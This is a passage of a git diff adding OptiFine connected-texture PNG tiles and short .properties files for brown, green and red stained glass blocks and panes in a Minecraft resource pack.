b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/30.png new file mode 100644 index 00000000..01508673 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/31.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/31.png new file mode 100644 index 00000000..8f158ee3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/32.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/32.png new file mode 100644 index 00000000..7730c84a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/33.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/33.png new file mode 100644 index 00000000..5275a13e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/34.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/34.png new file mode 100644 index 00000000..fab8c78e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/35.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/35.png new file mode 100644 index 00000000..22aa50c5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/36.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/36.png new file mode 100644 index 00000000..96bd9dae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/37.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/37.png new file mode 100644 index 00000000..f82d92ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/38.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/38.png new file mode 100644 index 00000000..9ad8d166 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/39.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/39.png new file mode 100644 index 00000000..4bd15242 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/4.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/4.png new file mode 100644 index 00000000..7a579a48 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/40.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/40.png new file mode 100644 index 00000000..daccfd7c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/41.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/41.png new file mode 100644 index 00000000..cdfe1985 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/42.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/42.png new file mode 100644 index 00000000..9f650bf1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/43.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/43.png new file mode 100644 index 00000000..2dc601f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/44.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/44.png new file mode 100644 index 00000000..a25d91a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/45.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/45.png new file mode 100644 index 00000000..6f8c91c2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/46.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/46.png new file mode 100644 index 00000000..171e5b27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/5.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/5.png new file mode 100644 index 00000000..ffed03bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/6.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/6.png new file mode 100644 index 00000000..39f0e8c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/7.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/7.png new file mode 100644 index 00000000..098ac233 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/8.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/8.png new file mode 100644 index 00000000..98f8baa1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/9.png b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/9.png new file mode 100644 index 00000000..e5362c53 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_brown.properties b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_brown.properties new file mode 100644 index 00000000..41188407 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_brown.properties @@ -0,0 +1,5 @@ +# Stained glass brown +matchBlocks=brown_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_pane_brown.properties b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_pane_brown.properties new file mode 100644 index 00000000..2cc2b5c0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/12_glass_brown/glass_pane_brown.properties @@ -0,0 +1,6 @@ +# Stained glass pane brown +matchBlocks=brown_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/0.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/0.png new file mode 100644 index 00000000..81bf7b62 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/1.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/1.png new file mode 100644 index 00000000..539cc27e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/10.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/10.png new file mode 100644 index 00000000..884de843 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/11.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/11.png new file mode 100644 index 00000000..72ca453d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/12.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/12.png new file mode 100644 index 00000000..3fdb6d7b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/13.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/13.png new file mode 100644 index 00000000..82adebed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/14.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/14.png new file mode 100644 index 00000000..e2ab182d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/15.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/15.png new file mode 100644 index 00000000..4474f914 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/16.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/16.png new file mode 100644 index 00000000..0988e8e9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/17.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/17.png new file mode 100644 index 00000000..b0b9a0cd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/18.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/18.png new file mode 100644 index 00000000..e96d6f81 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/19.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/19.png new file mode 100644 index 00000000..33eb6277 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/2.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/2.png new file mode 100644 index 00000000..4239e9dc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/20.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/20.png new file mode 100644 index 00000000..5851e7bc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/21.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/21.png new file mode 100644 index 00000000..7adc1b2b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/22.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/22.png new file mode 100644 index 00000000..aecf7459 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/23.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/23.png new file mode 100644 index 00000000..9b640907 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/24.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/24.png new file mode 100644 index 00000000..abd7caf4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/25.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/25.png new file mode 100644 index 00000000..095c661f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/26.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/26.png new file mode 100644 index 00000000..d865c0ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/27.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/27.png new file mode 100644 index 00000000..c7609033 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/28.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/28.png new file mode 100644 index 00000000..b4dc12b0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/29.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/29.png new file mode 100644 index 00000000..ffe88273 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/3.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/3.png new file mode 100644 index 00000000..89811036 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/30.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/30.png new file mode 100644 index 00000000..11737848 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/31.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/31.png new file mode 100644 index 00000000..282bd77a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/32.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/32.png new file mode 100644 index 00000000..1603ab9b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/33.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/33.png new file mode 100644 index 00000000..a5e4f284 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/34.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/34.png new file mode 100644 index 00000000..b1486b1e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/35.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/35.png new file mode 100644 index 00000000..11352eab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/36.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/36.png new file mode 100644 index 00000000..4eb9dc49 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/37.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/37.png new file mode 100644 index 00000000..231ba4fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/38.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/38.png new file mode 100644 index 00000000..0dfe38f6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/39.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/39.png new file mode 100644 index 00000000..d32a35ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/4.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/4.png new file mode 100644 index 00000000..23537788 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/40.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/40.png new file mode 100644 index 00000000..d852b478 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/41.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/41.png new file mode 100644 index 00000000..def10df5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/42.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/42.png new file mode 100644 index 00000000..de05c502 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/43.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/43.png new file mode 100644 index 00000000..93ebe7e4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/44.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/44.png new file mode 100644 index 00000000..87de07b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/45.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/45.png new file mode 100644 index 00000000..2592ff09 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/46.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/46.png new file mode 100644 index 00000000..d7dc076a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/5.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/5.png new file mode 100644 index 00000000..9b9f41cc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/6.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/6.png new file mode 100644 index 00000000..6190bc29 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/7.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/7.png new file mode 100644 index 00000000..5018eb62 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/8.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/8.png new file mode 100644 index 00000000..73d6c85a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/9.png b/src/assets/minecraft/optifine/ctm/default/13_glass_green/9.png new file mode 100644 index 00000000..9f7637ec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/13_glass_green/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_green.properties b/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_green.properties new file mode 100644 index 00000000..cf1961c3 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_green.properties @@ -0,0 +1,5 @@ +# Stained glass green +matchBlocks=green_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_pane_green.properties b/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_pane_green.properties new file mode 100644 index 00000000..301aab64 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/13_glass_green/glass_pane_green.properties @@ -0,0 +1,6 @@ +# Stained glass pane green +matchBlocks=green_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/0.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/0.png new file mode 100644 index 00000000..b263fe7f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/1.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/1.png new file mode 100644 index 00000000..4ead7f29 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/10.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/10.png new file mode 100644 index 00000000..e85e3b44 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/11.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/11.png new file mode 100644 index 00000000..e265630e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/12.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/12.png new file mode 100644 index 00000000..48f90438 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/13.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/13.png new file mode 100644 index 00000000..54e41440 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/14.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/14.png new file mode 100644 index 00000000..a384c10e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/15.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/15.png new file mode 100644 index 00000000..17683df5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/16.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/16.png new file mode 100644 index 00000000..0847a9ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/17.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/17.png new file mode 100644 index 00000000..d5d9bac2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/18.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/18.png new file mode 100644 index 00000000..3348e0ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/19.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/19.png new file mode 100644 index 00000000..10154447 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/2.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/2.png new file mode 100644 index 00000000..fb04c292 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/20.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/20.png new file mode 100644 index 00000000..622d7f85 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/21.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/21.png new file mode 100644 index 00000000..a9c8c800 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/22.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/22.png new file mode 100644 index 00000000..dccef88c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/23.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/23.png new file mode 100644 index 00000000..32ec0a94 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/24.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/24.png new file mode 100644 index 00000000..499bd713 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/25.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/25.png new file mode 100644 index 00000000..eb41e563 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/26.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/26.png new file mode 100644 index 00000000..513ba122 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/27.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/27.png new file mode 100644 index 00000000..f048ddfb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/28.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/28.png new file mode 100644 index 00000000..0ecf505e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/29.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/29.png new file mode 100644 index 00000000..9ab6e6f5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/3.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/3.png new file mode 100644 index 00000000..aca295bd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/30.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/30.png new file mode 100644 index 00000000..9d0b7abe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/31.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/31.png new file mode 100644 index 00000000..41bcc6f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/32.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/32.png new file mode 100644 index 00000000..816018fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/33.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/33.png new file mode 100644 index 00000000..8a38545f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/34.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/34.png new file mode 100644 index 00000000..eb8d8b9a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/35.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/35.png new file mode 100644 index 00000000..532b2e95 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/36.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/36.png new file mode 100644 index 00000000..82d5648a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/37.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/37.png new file mode 100644 index 00000000..05142199 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/38.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/38.png new file mode 100644 index 00000000..116abc6b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/39.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/39.png new file mode 100644 index 00000000..e631b421 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/4.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/4.png new file mode 100644 index 00000000..5dbb0cec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/40.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/40.png new file mode 100644 index 00000000..997093e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/14_glass_red/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/14_glass_red/41.png b/src/assets/minecraft/optifine/ctm/default/14_glass_red/41.png new file mode 100644 index 